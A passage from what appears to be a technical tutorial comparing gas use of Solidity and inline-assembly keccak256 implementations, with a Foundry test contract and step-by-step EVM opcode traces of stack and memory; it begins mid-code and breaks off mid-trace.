    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getKeccak256</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> a, <span class="hljs-keyword">uint256</span> b, <span class="hljs-keyword">uint256</span> c</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bytes32</span> result</span>) </span>{
        <span class="hljs-keyword">assembly</span> {
            <span class="hljs-keyword">let</span> mPtr <span class="hljs-operator">:=</span> <span class="hljs-built_in">mload</span>(<span class="hljs-number">0x40</span>)
            <span class="hljs-built_in">mstore</span>(mPtr, a)
            <span class="hljs-built_in">mstore</span>(<span class="hljs-built_in">add</span>(mPtr, <span class="hljs-number">0x20</span>), b)
            <span class="hljs-built_in">mstore</span>(<span class="hljs-built_in">add</span>(mPtr, <span class="hljs-number">0x40</span>), c)

            result <span class="hljs-operator">:=</span> <span class="hljs-built_in">keccak256</span>(mPtr, <span class="hljs-number">0x60</span>)
        }
    }
}

<span class="hljs-comment">// actual testing contract</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">GasDebugTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    IGasImpl gasImplNormal   <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> GasImplNormal();
    IGasImpl gasImplAssembly <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> GasImplAssembly();
    <span class="hljs-keyword">uint256</span> a <span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    <span class="hljs-keyword">uint256</span> b <span class="hljs-operator">=</span> <span class="hljs-number">2</span>;
    <span class="hljs-keyword">uint256</span> c <span class="hljs-operator">=</span> <span class="hljs-number">3</span>;

    <span class="hljs-comment">// forge test --match-contract GasDebugTest --debug test_GasImplNormal</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_GasImplNormal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">bytes32</span> result <span class="hljs-operator">=</span> gasImplNormal.getKeccak256(a,b,c);
        assertEq(result, <span class="hljs-number">0x6e0c627900b24bd432fe7b1f713f1b0744091a646a9fe4a65a18dfed21f2949c</span>);
    }

    <span class="hljs-comment">// forge test --match-contract GasDebugTest --debug test_GasImplAssembly</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">test_GasImplAssembly</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">bytes32</span> result <span class="hljs-operator">=</span> gasImplAssembly.getKeccak256(a,b,c);
        assertEq(result, <span class="hljs-number">0x6e0c627900b24bd432fe7b1f713f1b0744091a646a9fe4a65a18dfed21f2949c</span>);
    }
}
</code></pre>
<h3 id="heading-execution-trace-assembly-version">Execution Trace - Assembly Version</h3>
<p>Next we'll step through the assembly version using Foundry's debugger by executing this command: <code>forge test --match-contract GasDebugTest --debug test_GasImplAssembly</code></p>
<p>We are concerned with the execution inside the <code>GasImplAssembly</code> contract:</p>
<ul>
<li><p>from the first <code>PUSH1(0x40)</code> after calldata has been loaded onto the stack and <code>JUMPDEST</code> has been called</p>
</li>
<li><p>until <code>keccak256</code> has been called and the calculated hash put on the stack</p>
</li>
</ul>
<p>The above execution started at PC 0x39 (57) until 0x4f (79) and used 341-224 = 117 gas. Some useful acronyms are:</p>
<ul>
<li><p>Free Memory Pointer Address (FMPA)</p>
</li>
<li><p>Starting Next Free Memory Address (SNFMA)</p>
</li>
<li><p>Next Free Memory Address (NFMA)</p>
</li>
</ul>
<p>Let's step through the execution examining how the assembly version works:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// push Free Memory Pointer Address (FMPA) onto stack</span>
PUSH1(<span class="hljs-number">0x40</span>) [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]    
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                             ]

<span class="hljs-comment">// duplicate FMPA</span>
DUP1        [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// load Starting Next Free Memory Address (SNFMA) by reading FMPA</span>
MLOAD       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// exchange 5th and 1st stack elements</span>
<span class="hljs-comment">// note: a common pattern follows to store input parameters in memory</span>
SWAP4       [Stack : <span class="hljs-number">0x01</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP5        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                         ]

<span class="hljs-comment">// store value of `a` into memory at SNFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                ]

<span class="hljs-comment">// push 0x20 onto stack (2nd param of first `add` call)</span>
<span class="hljs-comment">// this is an offset to calculate Next Free Memory Address (NFMA)</span>
PUSH1(<span class="hljs-number">0x20</span>) [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP5        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// calculate NFMA by SNFMA + offset (0x80 + 0x20)</span>
ADD         [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// exchange 4th and 1st stack elements</span>
SWAP3       [Stack : <span class="hljs-number">0x02</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// exchange 4th and 1st stack elements</span>
SWAP3       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// store value of `b` into memory at NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x03</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>   ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>   ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP3        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>   ]

<span class="hljs-comment">// calculate NFMA by SNFMA + offset (0x80 + 0x40)</span>
ADD         [Stack : <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>   ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>]

<span class="hljs-comment">// store value of `c` into memory at NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>                            ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// note: all input parameters are now stored in memory</span>

<span class="hljs-comment">// push `size` parameter for call to keccak onto stack</span>
PUSH1(<span class="hljs-number">0x60</span>) [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>                      ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>                      ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]

<span class="hljs-comment">// call keccak256(offset, size)</span>
KECCAK256   [Stack : result, <span class="hljs-number">0x52</span>, <span class="hljs-number">0x05536b19</span>                          ]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x03</span>]
</code></pre>
<p>The assembly version:</p>
<ul>
<li><p>stored the first input parameter <code>a</code> at the Starting Next Free Memory Address (SNFMA)</p>
</li>
<li><p>calculated 2 additional Next Free Memory Addresses (NFMA) which it used to store input parameters <code>b, c</code></p>
</li>
<li><p>once this was completed there were only 3 more opcodes; 2 to prepare the <code>offset, size</code> input parameters and the final to call <code>keccak256</code></p>
</li>
<li><p>20 opcodes in total were executed including 1 <code>MLOAD</code> and 3 <code>MSTORE</code></p>
</li>
</ul>
<h3 id="heading-execution-trace-solidity-version">Execution Trace - Solidity Version</h3>
<p>Having examined the assembly version we'll now turn to the solidity version using Foundry's debugger by executing this command: <code>forge test --match-contract GasDebugTest --debug test_GasImplNormal</code></p>
<p>We are concerned with the execution inside the <code>GasImplNormal</code> contract:</p>
<ul>
<li><p>from the first <code>PUSH1(0x40)</code> after calldata has been loaded onto the stack and <code>JUMPDEST</code> has been called</p>
</li>
<li><p>until <code>keccak256</code> has been called and the calculated hash put on the stack</p>
</li>
</ul>
<p>The above execution started at PC 0x39 (57) until 0x6c (108) and used 428-224 = 204 gas; 74% more than the assembly version!</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// push Free Memory Pointer Address (FMPA) onto stack</span>
PUSH1(<span class="hljs-number">0x40</span>) [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                             ]

<span class="hljs-comment">// duplicate FMPA</span>
DUP1        [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// load Starting Next Free Memory Address (SNFMA) by reading FMPA</span>
MLOAD       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                   ]

<span class="hljs-comment">// push 0x20 onto stack</span>
<span class="hljs-comment">// this is an offset to calculate Next Free Memory Address (NFMA)</span>
PUSH1(<span class="hljs-number">0x20</span>) [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                         ]

<span class="hljs-comment">// duplicate offset</span>
DUP1        [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                               ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP3        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                                     ]

<span class="hljs-comment">// calculate NFMA by SNFMA + offset (0x80 + 0x20)</span>
ADD         [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                               ]

<span class="hljs-comment">// exchange 7th and 1st stack elements</span>
<span class="hljs-comment">// note: a common pattern follows to store input parameters in memory</span>
SWAP6       [Stack : <span class="hljs-number">0x01</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                               ]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x20</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                               ]

<span class="hljs-comment">// exchange 7th and 1st stack elements</span>
SWAP6       [Stack : <span class="hljs-number">0xa0</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>                                               ]

<span class="hljs-comment">// store value of `a` into memory at NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                      ]

<span class="hljs-comment">// note: normal version doesn't store first input at SNFMA so will have </span>
<span class="hljs-comment">// to calculate one extra NFMA to store all inputs into memory compared </span>
<span class="hljs-comment">// to assembly version</span>

<span class="hljs-comment">// duplicate SNFMA</span>
DUP1        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// duplicate FMPA</span>
DUP3        [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                                  ]

<span class="hljs-comment">// calculate NFMA by FMPA + offset (0x40 + 0x80)</span>
ADD         [Stack : <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// exchange 5th and 1st stack elements</span>
SWAP4       [Stack : <span class="hljs-number">0x02</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// exchange 5th and 1st stack elements</span>
SWAP4       [Stack : <span class="hljs-number">0xc0</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>                            ]

<span class="hljs-comment">// store value of `b` into memory at NFMA</span>
MSTORE      [Stack : <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>   ]

<span class="hljs-comment">// another offset used calculate NFMA</span>
PUSH1(<span class="hljs-number">0x60</span>) [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>         ]

<span class="hljs-comment">// duplicate the offset</span>
DUP1        [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// duplicate SNFMA</span>
DUP5        [Stack : <span class="hljs-number">0x80</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>                     ]

<span class="hljs-comment">// calculate NFMA by SNFMA + offset (0x80 + 0x60)</span>
ADD         [Stack : <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// exchange 4th and 1st stack elements</span>
SWAP3       [Stack : <span class="hljs-number">0x03</span>, <span class="hljs-number">0x60</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
            [Memory: <span class="hljs-number">0x40</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x80</span>, <span class="hljs-number">0xa0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x01</span>, <span class="hljs-number">0xc0</span> <span class="hljs-operator">=</span> <span class="hljs-number">0x02</span>               ]

<span class="hljs-comment">// exchange 2nd and 1st stack elements</span>
SWAP1       [Stack : <span class="hljs-number">0x60</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0xe0</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x6f</span>, <span class="hljs-number">0x05536b19</span>]
